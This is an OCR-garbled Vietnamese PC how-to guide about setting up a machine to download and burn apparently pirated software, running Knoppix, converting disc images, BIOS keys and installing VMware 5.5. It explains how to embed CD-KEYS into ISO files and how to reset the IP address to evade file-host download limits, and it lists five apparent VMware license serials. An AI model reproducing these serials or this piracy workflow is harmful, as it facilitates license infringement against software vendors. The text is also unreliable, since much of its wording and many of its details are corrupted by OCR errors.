  • Hardware: 1.1 Hard drive cỡ 10 GB trở lên hiện giờ rất khó kiém HD 10-20 Gb, 40-80 Gb thi dễ kiếm và rẻ tiền. 40 Gb HD có thể chứa chừng 30-40 CD ISO. 1.2 Mobile rack: 1 hay 2 cái tùy theo cách xài và túi tiền mobile rack giá chừng $15- 25 mỗi cái tùy theo loại nào nếu HD là ATA 133 thì kiếm mua mobile rack xài cho ATA 133. Đương nhiên là xài 2 cái mobile racks thi tiện hơn là 1 cái. à éu máy pc xài SATA hard drive thi phái mua cái mobile rack xài cho SATA drives. 1.3 DSL hay cable internet di download duong nhién càn có duóng dáy download nhanh nếu xài DUA thi khé ma download chân kinh hạng nặng được. Thông thường tốc độ download là tốc độ đường dây DSL/cable internet và web server vì vậy máy pc có CPU làm việc chậm vẫn download được nhanh như máy CPU chạy nhanh. Cũng nói thêm là có nhiều cái mid-tower case tuy có 4 cái 5.25" slots nhưng 2 cái dưới không xài được...vì khi gắn CD-ROM hay mobile rack frame sẽ đụng vào MB, chỉ có mid-tower case với bề ngang lớn hơn 7.25" (1" dư bên trái và phải của 5.25" slot) thì xài được 2 cái slot duói. Full-size tower có thé gán 4 cái mobile racks (cho MB có 4 IDE channels - 8 devices).
  • Windows OS: Chon Windows OS nào cüng duoc: Win 98SE, 2K, XP, 2K3 tránh không nên xài Win ME vi hay bi crash. 4 én install Win2K hay XP vi khóng càn phai install drivers cho sound, video, modem, network card v.v...á én Format hard drive bằng á TFS và chon cluster size là 2 KB gióng nhu cluster size của CD thì tổng số file size sẽ giống nhau. Filesize trong à TFS khóng bi giói han truóng hop download nguyén cái movie file lón hon 4 Gb. Win2K Server thi stable hon là XP Pro và xài ít resource hon XP.
  • Sau khi install Windows OS xong thi install nhimg software can thiét cho viéc download: 20 KY THUAT DIEa TOAA 3.1 4 éu xài Windows 2K thi upgrade vói Service Pack 4, XP thi upgrade vói SP1 (hay SP2). 3.2 Upgrade IE to version IE6 néu xài 98SE hay Win2K 3.3 WinRAR düng dé UnRAR.RAR file (WinZIP khóng cón hay nhu WinRAR nén không cần nếu xài WinRAR). â hiều rar file (cỡ dưới 196) càn tói PowerArchiver mói mó duoc nén chi install PowerArchiver khi càn tói. 3.4 UltralSO hay WinISO düng dé xem file ISO hay thém file vào (thí du só Serial/CD-KEYS) chung voi ISO ma burn ra CD 3.5 FlashGet ding FlashGet dé download tir các web site bén Tàu. å éu không xài FlashGet thi xài IDM hay tuong duong. Install cá hai IDM và Flashget cüng duoc. 3.6 á éu du dinh xài P2P software client dé download Peer-to-Peer thi nén install eMule Plus, eMule, or eDonkey (eMule download) hoác là BitLord, BitComet (dé download bang BitTorrent). 3.7 a ero software (hay Easy CD Creator) dé burn CD 3.8 ZoneAlarm khi di download thi turn OFF nhung khi vào chó tim Serial hay CD- KEYS thi turn 0a dé block bét pop-up ads. 3.9 FireFox hay 4 etscape nén install thém 1 trong 2 cai web browser nay khi cai IE khóng mó duoc. 3.10 Acrobat Reader (optional) khóng can thiét...trong khi chó doi download có thé xài Acrobat Reader dé doc tiéu thuyét hay kiếm hiệp. 3.11 WinHEX (optional) dùng dé quan sat.EXE hay.DOC file hay nghi ngờ nhüng file chứa virus vì WinHEX mở file bằng cách đọc từng bytes chứ không execute file. â êu.DOC file là program file thì phần cuối file sé có tén compiler nhu Microsoft C-— Compiler thì biết dây là program file chứa virus chứ không phải là.DOC file. 3.12 CloneCD (optional) düng dé burn CD hay bién dói CD ra ISO v.v... 3.13 4 orton Ghost 9 (optional) ding dé lam disk image cho cai HD nay và giữ vào USB 2.0 External HD hay burn vào DVD truóng hop Windows bi virus hay spyware thi chi càn restore disk image vào lai cái HD này là xong. Tác giả không đề cập tới version vi cac software thay déi update nhiều lần trong năm và version mới hơn chưa chắc làm việc tốt hơn version cũ xài version nào mà quý vị cảm thấy tôt.
  • Sau khi install tát cả software như phần 3 thi boot vào Windows và do coi thời gian load Windows OS là bao nhiêu phút thông thường với máy pc 1.0 Ghz, Win2K và những software dà installed chi mát khoảng trên dưới 1 phút mà thói tốc độ boot không lệ thuộc vào tốc độ CPU cho lắm mà là HD làm việc mau chậm HD chậm thì boot lâu hơn là HD nhanh. Windows 98SE boot khoảng 35-60 giây, XP thi boot hơi lâu hơn I phút. Ghi tốc độ máy bạn load Windows OS là bao lâu néu vé sau này mà tháy hon 2 làn thói gian download là Windows OS bi ván dà...
  • Do thói gian coi mó 1 trang web là bao làu khi IE mói load homepage khoáng 5-6 giây (vì phải load nhiều hình ảnh), load vài lần thì mở trang web home page chỉ mát có 1.5-2 giây. â &u vê sau mà mô trang web home page mà mát hon 5-10 giây là IE có ván dé...
  • Ghost hay không thì không cần thiét vi viéc install Windows OS và tát cà software nhỏ này không hon 30-45 phút. å éu có 1 OS khác nhu Win2K hay XP thi boot vào OS này rồi copy hết nguyên partition của HD dành dé di download vào 1 chó an toàn dé phóng khi càn restore cüng duoc.
  • Sau khi download xong, UnRAR hay UnZIP, burn vào CD xong thi có thé delete duoc file download. à éu trong ISO file khóng có CD-KEYS hay Serial mà ban có riéng só CD-KEYS hay Serial thi làm 1 cái file chúa Serial ròi thêm vào trong ISO file xài UltraISO hay WinISO, sau do burn thành CD thì trong CD sè chúa cái file vói CD-KEYS hay Serial - đặt tên file bằng số CD-KEYS hay Serial thật sự lại càng hay. 21 KỸ THUẬT ĐIỆẩ TOÁä â ên nhớ: Software download nếu giữ trong HD hay USB 2.0 External HD thi khóng được an toàn bằng burn vào CD-R hay DVD-R, DVD+R
  • Vài Net An Toàn å éu quý vị chỉ vào net với mục đích dé surfing, mua bán tir internet và ít khi download thì quý vị có thé xài Live Linux CD. Live Linux CD là OS boot và run từ CD không cần install vào máy OS run trực tiếp từ RAM và không xài tới HD không nhìn thấy HD ngoại trừ bạn muốn xài HD dé download. Một trong những Live Linux nổi tiếng là Knoppix 4.0.2 Knoppix 4.0.2 có 2 version CD và DVD. CD thi boot nhanh hon và DVD nhung ít application hon là DVD. Uu diém cüa Knoppix là có thé xài wireless internet tự động nối vào wireless internet néu cái wireless network đó không mã hóa và có thể tự động nhận ra network nói báng dáy dé vào á et. Khi quý vị tắt máy thì tất cả RAM đều mất nên không sợ virus, spyware hay máy pc bị hack bao giờ...Windows cũng có những version như Bart PE, Windows Live...nhưng những Windows nầy không có option để seup wireless network hay nhán ra wired network nén khóng vào net duoc. Windows Live chi xài dé recover file hay pc maintenance chứ không dùng đề vào net được. Day là cach setup wireless network trong trường hợp network của bạn xài mã hóa WEP. å éu wireless network không xài WEP thi Knoppix sẽ tự dóng login cái wireless network nào có signal manh nhát. Luu y:
  • Trong Knoppix version 3.9 và 4.0, thi cái á etwork Ethernet Card (dày) có tén là eth0, còn cái wireless card có tén là ath0 (néu là Atheros) hay ra0 (néu là Ralink technology).
  • Trong Knoppix version 4.0.2, thi cái â etwork Ethernet Card (dây) có tên là eth0, con cai wireless card co tên là eth1 (khong con phan biét brandname cua wireless card là gì ca) Vi váy trong bài này nếu quý vị đọc chữ ath0 cũng như chữ eth1 28.1 Cách Setup Wireless Internet Tuy theo máy desktop pc hay laptop cüa quy vi mà phái làm cá 3 gian doan 28.1.1, 28.1.2, hay 28.1.3 vi mói máy pc có hardware khác nhau nén dói khi Knoppix tu dóng load cái wireless card driver (wireless card có tên là ath0 trong khi do cai Ethernet 4 å IC wired có tên là eth0) thì chỉ cần làm giai đoạn II là có thê vào â ET, nếu máy laptop của bạn phải làm giai đoạn I thi bắt buộc phải làm giai đoạn II, và III. Command màu dó là Linux command phải đánh đúng y chang như đã viết. (press Enter key),(press Tab key), hay (press Esc key) thì quý vị phải bấm cái key đó. 28.1.1 Setup wireless card eth1 (or ath0) Run Konsole Terminal Program (hinh monitor màu den có dáu > ) (icon thứ 6 từ trái qua phải ở trên taskbar): knoppix@O[knoppix]$ su (press Enter key) -> chtr su = super user root@O[knoppix]# ed /ete/network (press Enter key) root@O[network]# vi interfaces (press Enter key) -> cho vai gidy sé thay hién ra

    nhu duói dáy:

    /etc/network/interfaces configuration file for ifup(8), ifdown(8)

    The loopback interface

    automatically added when upgrading

    auto lo iface lo inet loopback “interfaces’’ 7L, 166C Luu y là màn hinh cüa Konsole terminal program có nền màu đen, chữ quý vị đánh vào hiện ra màu trắng, và chữ khi prompt màu xanh lá cây. Cái cursor hiện giờ nằm tại cái dấu # màu tím, cursor màu trang..., đánh cái mũi tên xuống (cursor down) để di chuyển cái cursor xuống ngay dưới hàng chữ iface lo inet 22 KỸ THUẬT BIÉÀ TOÁÀ loopback rói bam cai nut i thi sé thay chit INSERT hiện ra ở ngay cuối trang (ban vào insert mode dé insert command vào file) Đánh vào (thay thế chữ eth1 bằng chữ ath0 - nếu xài version Knoppix 4 hay nhỏ hơn): iface eth1 inet dhcp (press Enter key) (press Tab key) wireless_mode managed (press Enter key) (press Esc key) :wq (press Enter key)
    -> wq = write then quit (dé cái Konsole Terminal Programming running - khóng close) 28.1.2 Setup Wireless Network Bam K > Knoppix > 4 etwork/internet > Wavelan Configuation - sẽ thấy nhiều cái popup dialogs như dưới đây:
  • Configuration of wireless parameters for eth1 (đề trống) - bắm nút OK
  • Enter the ESSID for ethl. Đánh vào cái tên wireless network (giống như SSID xài trong Windows) bam nút OK
  • Enter the 4 WID (cell identifier) for eth1 if needed (dé tréng) bam nut OK
  • Enter the mode for ethl (Managed(=default), Adhoc...) (dé trong) bam nút OK (xài default là Managed)
  • Enter the channel number for eth1 (dé tréng) bam nut OK
  • Enter the frequency for eth1 (dé tróng) bám nüt OK Chỉ đổi tàn s6 néu wireless card khác hon só 2.410 Ghz...
  • Enter encryption key. Dánh só mà WEP (góm 13 số Hex hay 26 mau ty 0-9 A-F) bam nut OK
  • Enter additonal parameters for ‘iwconfig eth1’’ if needed (dé tróng) bam nut OK
  • Enter additonal parameters for *' iwspy ethl’’ if needed (dé trống) bam nút OK
  • Enter additonal parameters for ‘’iwpriv eth1’’ if needed (dé trong) bam nut OK Program Wavelan Configuration sé ty dóng exit. (néu quy vị không xài Wavelan Configuration thi có thé xài Kwifi Manager dé dánh tén network và WEP key thi ngán hon nhung khó xài hon). 28.1.3 Bring up wireless network card Tró lai Konsole Terminal Program root@O[network]# vi interfaces (hang chit nay da cé san réi, ban khong phải đánh vao) root@O[network]# ifup eth1 (press Enter key) Chờ vài giây nếu không thấy hiện ra chữ failed là bạn setup cai wireless card DUA G... Run FireFox hay Konqueror browser...đánh vào www.yahoo.com, nếu thấy hiện ra trang Yahoo là vào â ET được... 28.2 Save file vào hard drive Khi boot vào Knoppix tuy bạn thấy có hard drive partition nhưng không thê nào read hay save file vào HD vi khóng thé nào access cái partition duoc truóc khi nói vé cách mó hay dóng cóng HD thi ban càn biét vé tén HD cüng nhu partition xài trong Linux dé mà mó cái partition nào cua hard drive nào... Trong một máy desktop pc có thê có 8 devices...Linux đặt tên hard drive theo thứ tự cái HD hay CDROM gán vào IDE như sau: Hard drive 1 có tên là /dev/hda chit a = 1 Hard drive 2 có tên là /dev/hdb chữ b = 2 Hard drive 3 hay CD-ROM có tên là /dev/hdc chữ c = 3 Hard drive 4 hay CD-ROM có tên là /dev/hdd cht d = 4 ... rồi tới /dev/hde , /dev/hdf, /dev/hdg , /dev/hdh (nếu có) USB hard drive 1 có tén là /dev/sha USB hard drive 2 có tén là /dev/shb 23 KỸ THUẬT BIÉÀ TOÁÀ Mói hard drive có thé có tối đa 4 primary partitions, hay 3 primary partitions và nhiều extended partitions (Windows OS chi có 2 partitions mà thói, primary và extended partitions, partitions 2-10-- déu goi chung là extended partitions). Thí du hard drive 1 chia ra làm 6 partitions thi các partitions sé có tén nhu sau:
  • partition 1, /dev/hdal
  • partition 2, /dev/hda2
  • partition 3, /dev/hda3 /dev/hda4 1a extended partitions chita tat cà các partitions cón lai - /dev/hda4 chi có tén mà thói - khóng phái là partition chứa data.
  • partition 4, /dev/hda5
  • partition 5, /dev/hda6
  • partition 6, /dev/hda7 Muón xài partition nào dé read và save data file thi right-click cái partition do, thi du muón mó /dev/hdal thi right-click cái icon > dò xuống bấm vào chữ mount thì có thể access cái partition đó nhưng chỉ read được mà thôi. Right-Click cái partition đó rồi chọn Properties
    tab vào cái tab thứ 3 sẽ thấy cái ô có hàng chữ Read Only có cái dấu check x, clear cái dấu check x này rói bám nút OK thì từ đây sẽ save file vào partition được - Knoppix có thể read và write FAT, FAT32 và á TFS file... â êu không muốn xài cdi partition do nia thi chi càn right-click cái partition dó rói chon unmount thi cái partition dó sé khóng cón accesss duoc trong khi xài Knoppix duong nhién là khi tát Knoppix mà xài Windows thi cái partitions vàn hoat dóng tró lai binh thường... Xài Knoppix dé thinh chàn kinh rát an toàn...trong Knoppix có cá download manager. ä êu quý vị muốn download và save file vào HD được dễ dàng thì HD nên format bằng FAT32 vì Knoppix tuy đọc được file trong HD format bằng â TFS nhưng hiện tại chưa có option write vào à TFS (vi có thé hu à TFS), nhung có thé write vào FAT32 partition rát an toàn. Quy vi muón download Knoppix thi vào trang này: http://www.knopper.net/knoppix/index-en.html Còn muốn xài những thứ Live Linux CD khác (có hơn 200 thứ) thì vào link này: http://www.frozentech.com/content/livecd.php
  • Xai UltraISO để biến đỗi image files... UltraISO (v7.6+) có thể biến đổi 31 dang image files thành 1 trong 5 dang này:
  • Standard. ISO
  • 4 ero.a RG
  • Alcohol 120.MDF,.MDS
  • Bin.BIẢ &.CUE,
  • CloneCD.IMG,.CCD,.SUB
  • Image Files: .iso, .mds, .mdf, (All images from 2 to 31)
  • Standard ISO images (.iso)
  • Alcohol 12096 images (.mds, .mdf)
  • Ashampoo images (.ashdisc)
  • BlindWrite 5 images (.b5t, .b51)
  • BlindWrite images (.bwt, .bwi)
  • CDRWin images (.bin, .cue)
  • CDSpace images (.lcd)
  • CloneCD images (.ccd, .img)
  • CloneCD 5 images (.dvd, .000)
  • DiscJuggler images (.cdi)
  • Duplicator images (.dao, .tao) 24 KỸ THUẬT ĐIỆẩ TOÁä
  • Easy CD/DVD Creator images (.cif)
  • GameJack images (.xmf, .xmd)
  • Gear Images (.p01, .mdl, .xa)
  • InstantCopy Images (.pdi)
  • Mac images (.dmg)
  • á ero-Burning ROM images (.nrg)
  • 4 oum Vapor CDROM images (.VaporCD)
  • à TI CD-Maker images (.ncd) 2]. PlexTools images (.pxi)
  • PowerDirector images (.rif, .rdf)
  • Prassi images (.gcd)
  • Recorda ow images (.gi)
  • Ulead VideoStudio images (.ixa)
  • Virtual CD images (.vc4)
  • Virtual CD-ROM images (.fcd)
  • Virtual Drive images (.vcd)
  • Virtuo CD Manager images (.vdi)
  • WinImage images (.ima, .bif)
  • WinOnCD images (.c2d) Chi can run UltraISO > Tools > Convert > Click Input Image Filename(s) buttons... Kéo mũi tên Files of Type..., chọn 1 trong 31 loai image files, Click Convert button là xong.
  • Download nhanh tir RapidShare, MegaUpload, SexUploader... Khi quy vi tim thấy links download chân kinh hạng nặng chừng vài ba chục links (40- 80 links là thóng thường), quý vị xài chùa Free Account thi nén làm theo cách này dé download được nhanh và toàn chân kinh:
  • 4 hiéu người vào download nên cái server cho download chậm lại nhưng chỉ chậm ở những links nào nhiều người download cùng lúc nhất là những file thứ tự từ 1 tới 10 (ai cũng download theo thứ tự mà). Thí dụ chân kinh có 40 links thì quý vị nên download từ file 40 trở lai só 1 hay từ số 21 tới 40 rồi đi ngược lại từ 20 tới 1. Lý do là không ai download từ 20-40 nên quý vị có thể download được file với tốc độ nhanh. Cách nầy cũng hay là nếu quý vị thấy links nào bị delete thì không tiếp tục download chân kinh mà bị hư 1 byte cũng không xài duoc nói chi tói mát cà 1 part.
  • Reset IP néu là loai DSL vói dynamic IP. MegaUpload giói han 700-800 Megs nén phái reset IP néu quy vi xài Rapget dé download tir MegaUpload (4 files 200 Mb hay 7 files 100 Mb). Khi xài Rapget mà tháy Errors là exceed bandwidth hay file dó cón có thém password. Truóng hoop này phái láy cái link cho vào IE rồi chờ 45 giây để click link mà download nếu exceed bandwidth sẽ hiện ra hay sau đó sẽ hiện ra để hỏi password. Tốc độ download từ MegaUpload và Rapidshare hiện giờ có thể download tối đa từ 350-380 Kb/s trung bình là 200 Kb/s, nhiều người vào thì tốc độ giảm xuống còn chừng 80 Kb/s. Riêng cái site SexUploader có thé xài IE dé khi hiện ra cái hàng chữ click here to download thì quý vị có thé right-click dé copy cái link mà cho vào FlashGet dé download chon trong FlashGet 1 spli tpart mà thôi. Tốc độ download từ SexUploader từ 350 Kb/s trở lén và file lớn từ 300 Mb nên chỉ download xong 2 files là phải reset IP để tiếp tục
  • â êu quý vị thường download với tốc độ nhanh 200 Kb/s trở lên mà tự nhiên chậm lại còn chừng 30 Kb/s và quý vị download được chừng 10-20 phần trăm thì nên bỏ cái download dó di và reset IP dé tiép tuc. Sau khi reset IP (mát hon 1 phüt thì quý vi có thé vào cái port khác nén duoc tốc độ nhanh từ 200 Kb/s trở lén thi chí mát 15-20 phút dé download 1 file 200 Mb thay vi phái chó hon 1 gió dé download vói tóc dó 30 Kb/s.
  • Nén xài software version nào ? 25 KỸ THUẬT BIÉÀ TOÁÀ â hiều software mói ra ló chi là Alpha, Beta version hay nhüng version có só duói 1 nhu v0.8, v0.95 thi khóng nén xài vi khóng có loi lám. Microsoft thuóng ra nhüng version nhu Beta, Beta 2, rói tói RC (Release Candidate) truóc khi cho release cái Final version. Thí dụ như Windows Vista có nhiều version Beta với nhiều build version khác nhau (gần đây là Build 5384.2). Windows Vista-Beta version không bao giờ thành Final version được vì những version Beta mà Microsoft cho ra để nhiều người xài thử rồi đề nghị nên sửa chữa thêm bớt phần nào hữu dụng, nên đến khi cái Final version thì chứa rất nhiều codes khác hơn cái Beta version rất nhiều.
  • Nên Xài Windows OS tổng hợp SP1, SP2 hay xài riêng rẽ Ké tir khi Windows XP ra Service Packs SP1 va SP2 thì nhiều người lấy cái Windows XP ròi thêm cái SP1 hay SP2 vào chung vói Windows XP dé khi install xong Windows XP thì có luôn SP2 ròi cách này cüng tién nhung không tốt lắm vì nhiều máy pc với những components khác nhau đôi khi không làm việc với SP2. Cách tốt nhất là xài Windows XP nguyên thủy (không có SP1 hay SP2). Sau khi install cái Windows XP original ròi coi máy làm việc được. Hoàn hảo không rồi hãy install SP1 hay SP2. â ên tránh Windows XP cộng thêm nhiều software khác...như quý vị từng thấy người ta cho download Windows XP + SP3. â hững software thêm này có thể chứa thứ đặc công nằm vùng phá hoại khó mà trị được vì nó nằm săn trong cái đĩa Windows XP rồi
  • DSL bị hư - làm sao reset ? å éu quý vi xài DSL hay cable modem mà không vào â et được this page cannot be displayed thì cân phải biết là tại IE bị hư hay DSL/Cable bị hư ?
  • Muốn biết DSL/Cable bị hư thì gỡ bỏ hết router (dây hay không dây) mà nối dây Cat5 vào truc tiếp cái DSL modem mà thử. â éu xài IE hay FireFox mà vào á et duoc là do router hay cái firewall cüa router cán tró khóng cho vào máy hay cái router chua setup dé có username và password cho duóng dày DSL (authentication). à &u install lai software kém vói DSL modem va da setup username va password ma vàn khóng vào duoc thì có thể là đường dáy DSL bi hu (down). Quy vi có thể gỡ hết tất cả những thứ găn vào lỗ cắm điện thoại không có cái nào gắn vào lỗ điện thoại kể cả answering machine...chờ 15-20 phút đề reset đường dây điện thoại rồi mới gan DSL modem vao ma thtr lai néu van khóng vào á et duoc thi gọi cho công ty DSL hay Cable biết...
  • â êu không vào â et duoc. thi xài 1 cái máy pc khác dé vào net nhó gắn trực tiếp vào DSL modem mà thử không qua cái router. â ếu máy pc khác vào à et duoc là cái máy pc kia có OS bị hư...install lại OS hay xài spyware dé diét spyware.
  • Cách vào BIOS dé setup | Thóng thuóng thi bám cái Del key khi mó máy lén thi sé vào duoc BIOS setup dé chon lai cách boot, tt CD-ROM hay USB truóc rồi tới hard drive hay nhüng cách boot khác. á hiéu máy desktop pc brandname và laptop có cách vào BIOS khóng xài cái Del key mà xài 1 trong những key nhu sau: Del F10 F12 F1 F2 Ctrl + Esc Esc Alt + Esc Ctrl + Alt + Esc Ctrl + Alt + Enter Ins 26 KY THUAT DIEa TOAA Dưới đây là những keys để vào BIOS cho nhiều hiệu khác nhau: Acer® F1, F2, Ctrl+Alt+Esc ARI® Ctrl+Alt+Esc, Ctrl+Alt+Del AST® Ctrl+Alt+Esc, Ctrl+Alt+Del Compaq® 8700 F10 CompUSA® Del Cybermax® Esc Dell& 400 F3, F1 Dell 4400 F12 Dell Dimension F2, Del Dell Inspiron F2 Dell Latitude Fn+F1 (while booted) Dell Latitude F2 (on boot) Dell OptIPlex Del Dell OptIPlex F2 Dell PrecisionTM F2 eMachine® Del Gateway® 2000 1440 FI Gateway 2000 SoloTM F2 HP® (Hewlett-Packard) F1, F2 (Laptop, Esc) IBM® FI IBM E-pro Laptop F2 IBM PS/2® Ctrl+Alt+la S after Ctrl+Alt+Del IBM Thinkpad® (newer) Windows: Programs-Thinkpad CFG. Intel® Tangent Del Lenovo(formally IBM) Lenovo BIOS Access page Micron® F1, F2, or Del Packard Bell& F1, F2, Del Seanix Del Sony® VAIO F2 Sony VAIO F3 Tiger Del Toshiba® 335 CDS Esc Toshiba Protege Esc Toshiba Satellite 205 CDS F1 Toshiba Tecra F1 or Esc Toshiba 4 otebook [4 ewer models]
  • Turn on computer by Holding down power button while pressing the Esc key. The machine will beep, then display: Check System, then press [F1] key.
  • Release Esc key
  • Press F1 key
  • May ao (Virtual Machine) la gi ? Muốn hiểu máy ảo là thì thì nên đưa thí dụ cụ thê thế nào là máy thật (real machine). Thật ra khi nói về máy ảo (virtual machine) thì chưa có danh từ máy thật (real machine)!!! Từ xưa tới gIờ chưa ai nói tới máy thật tự nhiên lại ra đời máy ảo... Máy pc của bạn đang chạy cái Windows XP Pro. Ban install mót cái software dác biét có tên là Máy Ảo. Cái Máy Áo này không làm tính, không vč, không burn DVD mà làm môt viéc khác là cho phép ban install môt cái operating system khác nhu Windows 2003 Server. 27 KỸ THUẬT BIÉÀ TOÁÀ Sau khi ban install Windows 2003 Server vào Máy Ảo rói thi ban có thé install WinRAR, UltraISO, Office 2003, AutoCAD 2007, v.v... Khi ban run Windows XP Pro va run software May Ảo thì Máy Ảo thuộc về máy that. Khi bạn vào Máy Ảo run Windows 2003 Server và những software đã install trong Windows 2003 Server là máy ảo (nhưng vẫn làm việc thật). Máy Ảo cho Windows OS hiện giờ có 2 software là VMware 5.5 và MS Virtual PC
  • MS Virtual PC chỉ install được Windows OS mà thôi, trong khi đó VMware có thể install Widnows OS, Linux, 4 ovell 4 etWare, Sun Solaris, va những OS khác nhu MS-DOS, FreeBSD v.v... Vì vậy bài nầy nói về VMware mà không đề cập tới MS Virtual PC nữa.
  • VMware WorkStation 5.5 Muón xài máy ảo thì cần phải install VMware WorkStation...
  • Đây là vài số Serials cho máy ảo VMware 5.5 RC145-R024P-4DKDE-4Y EFZ AOWRH-HODOK-J4JFW-4X8Q7 VLO8D-LWV4V-AF15C-4DGY2 KLHHR-WH9FU-75QAG-45E5L Y95HM-CA92X-XC4GZ-4XA4Y
  • Vài giai đoạn install VMware WorkStation 5.5
  • Chon mót directory dé install VMware WorkStation tránh không install vào trong C:\Program Files\ mà chọn môt directory riêng rẻ như C:\vmWARE.
  • Khi xai VMware thi can phai disable cai autorun feature cua CD-ROM drive
  • Install VMware WorkStation.
  • Reboot Windows
  • Run VMware WorkStation 5.5 Khi ban install xong VMware thi trong VMware khong co operating system nao ca... nén khi run VMware sé có 3 options dé chon là: å ew Virtual Machine å ew Team Open Existing VM or Team thì chọn option 1 á ew Virtual Machine, ban có thé chon Typical hay Custom
  • Guest Operating System Tát cà operating system installed vào trong VMware goi chung là Guest Operating Systems. Ban có thé install Windows OS, Linux, a ovell 4 etWare, Sun Solaris, va Other. Phần dưới đây liệt kê chi tiết những OS nào bạn có thể install vào VMware có những OS chỉ xài thí nghiệm (eXPerimental): Windows OS Ban có thé install Windows 3.1, 95, 98, ME, á T, 2000 Pro, 2000 Server, 2000 Advanced Server, XP Home, XP Pro, XP Pro 64-bit, 2003 Server Web, Standard, Enterprise, Small Business, Standar 64-bit, and Enterprise 64-bit, Windows Vista (eXPerimantal), Vista 64-bit (eXPerimental). Linux Ban có thé install Red Hat, Red Hat Enterprise 2, 3, 4 32-bit and 64-bit, SuSE, SuSe 64-bit, SuSE Enterprise Server, SuSE Enterprise Server 64-bit, á ovell Linux Desktop 9, Sun Java Desktop System 9, Mandrake, TurboLinux, Ubuntu, Ubuntu 64-bit... Novell NetWare Ban chí có thé install 2 versions: 4 etWare 5, 4 etWare 6 Sun Solaris Tat ca Sun Solaris install vào VMware chi xài thí nghiém. Ban có thé install Sun Solaris 9 (eXPerimental), Sun Solaris 10 (eXPerimental), Sun Solaris 10 64-bit (eXPerimental) Other Ban có thé install nhàng OS không thuộc về Windows hay Linux nhu: MS- DOS, FreeBSD, FreeBSD 64-bit, Other, Other 64-bit. 28 KY THUAT DIÉÀ TOÁÀ Quy vi chí có thé install vào VMware nhüng OS nào mà cái pc của quý vị làm việc nói.. Windows XP Pro install vào máy ào cüng càn CPU chay nhanh hon 350 Mhz và 256 Mb RAM hay nhiều hơn.
  • Install OS
  • Chon mót OS nào du dinh xài nhu XP Pro, 2003 Server v.v...
  • Chon bridged networking
  • VMware càn disk space 8 Gb (default) dé install OS. 4 éu quy vi du dinh install nhiéu OS thi có thé táng só disk size lén 10 hay 15 Gb. Duong nhién là phai that su có dü disk space trong HD
  • Chon Allocate all disk space now dé cho VMware làm cái disk size có ban chon 8 Gb hay nhiéu hon. á éu khóng chon option này thi VMware sé start voi số disk size nhỏ, khi nào install OS thi disk size sé tăng lén nhưng sẽ làm việc chậm...vì cho VMware làm nguyên cái disk size một lần VMware không làm thêm partition nào cả...đây chỉ là partition ảo
  • Thí du install Windows XP Pro
  • Quy vi có thé chon Edit virtual machine settings dé táng só RAM xài trong máy ảo vói XP Pro, só RAM tói thiéu mà VMware xài là 192 Mb và tói da là 274 Mb (néu máy ban dà install 512 Mb RAM).
  • Chon Start this virtual machine dé install Windows OS. Cho cái dia Windows XP CD vào trong CD -ROM drive Mót cua sô trong VMware hiên ra dé install Windows XP Pro.
  • Install Windows XP Pro install vào disk size (8 hay 10 Gb ban chon) vàn là unallocated space nhung chon install vào cái disk space áào.Thói gian install Windows XP Pro cũng nhu install vào máy thật.
  • Quy vi có thé install nhüng apps nhu: ZoneAlarm, UltralSO, WinRAR, 4 ero 7, FlashGet...
  • Áo hay thát Khi run VMware và run OS dá install trong VMware là ào lác này mouse vào cursor bị phong tỏa trong cửa số của VMware muốn rời chốn ảo thì bắm Ctrl + Alt để mouse và cursor trở về thật để run những software khác...Muốn vào lại chốn ảo thì đi chuyển mouse vào OS ào mà bám chuột để vào chón áo
  • Ưu điểm và nhược điểm của Máy Ảo Ưu điểm:
  • Máy Ảo dùng dé xài thí nghiệm những OS nào bạn muốn xài hay những software download về không biết có spyware hay trojan xài những software này nêu Windows ảo có bi virus hay spyware cũng không hại gì cả vì spyware hay virus cũng năm trong máy ảo néu quy vi uninstall VMware thi tát cả tan bién vi thuộc về giới ảo
  • Xài nhiều OS cùng lúc mà không cần phải chia HD ra làm nhiều partition. Quý vị có thé install Linux, Windows vào trong VMware mà xài, chi càn chon machine nào hay OS nào dé run
  • â hiều IT dùng máy ảo để vào những trang web site nào hack để coi máy pc bị hack tới cỡ nào mà xài làm cái list dé block trong hardware firewall (thật) không cho users vào những site đó.
  • Khi run Máy Áo thi chi thay partition C ao (8 Gb hay cỡ bạn chọn) mà không thấy nguyên cái HD thật những software nào download vê cũng còn nằm trong máy ảo phải xảo â ero hay software khác dé burn vào CDR hay DVD-R thì mới thành thứ thật. Khi bạn không run VMware thi khóng tháy hard drive ào (8 Gb) nén khóng thé di chuyén files từ ảo qua thật hay di chuyén files tir máy thát vào ảo... Nhược điểm:
  • Máy Ảo không thê run những OS nào boot từ CD-ROM drive (phài bám nüt power để mở lén) nhu Knoppix 5, Windows Live Edition, BartPE, Hiren Boot CD v.v...vi May Ao 29 KY THUAT BIÉÀ TOÁÀ khóng thé nào mó power lén duoc. Khi ban boot tt CD-ROM drive dé run BartPE thi ban vào Windows PE không có Máy Áo VMware...
  • à hüng device nhu USB External HD khi nói vào máy pc sé hién ra trong máy thát... khi run VMware dé run Windows ao thi USB HD không hiện ra trong máy áo. à éu tát USB External Hard drive rồi mở lên khi xài Máy Ảo thì hiện ra trong Máy Ảo mà không hiện ra trong máy thật
  • Máy Áo khóng thé install nhüng driver nhu video, hay wireless card...Khi quy vi install Windows OS có driver VGA rói và screen resolution khóng thé chon có máy thát. Máy Áo xài Ethernet card duoc nhung khó mà xài wireless...
  • Máy Áo và Ma Van dé là khi xài Máy Áo có nén install Ma (Ghost) vào Máy Ảo ? Trong khi xài Máy Áo không càn install Ghost vi néu Máy Áo bi nhiém trüng hay hack chi càn delete OS trong May åo hay uninstall May Ao... Khi xài Máy Ảo và install nhiều OS vào rồi thi có thé xài Ghost dé làm disk image cho máy thật (chứa Máy Ảo) thì sau này nếu Máy Ảo bị hack hay nhiễm trùng thì chỉ cần xài Ghost để restore disk image của máy thật có cả Máy Ảo và những OS đã install vào Máy Áo là xong.
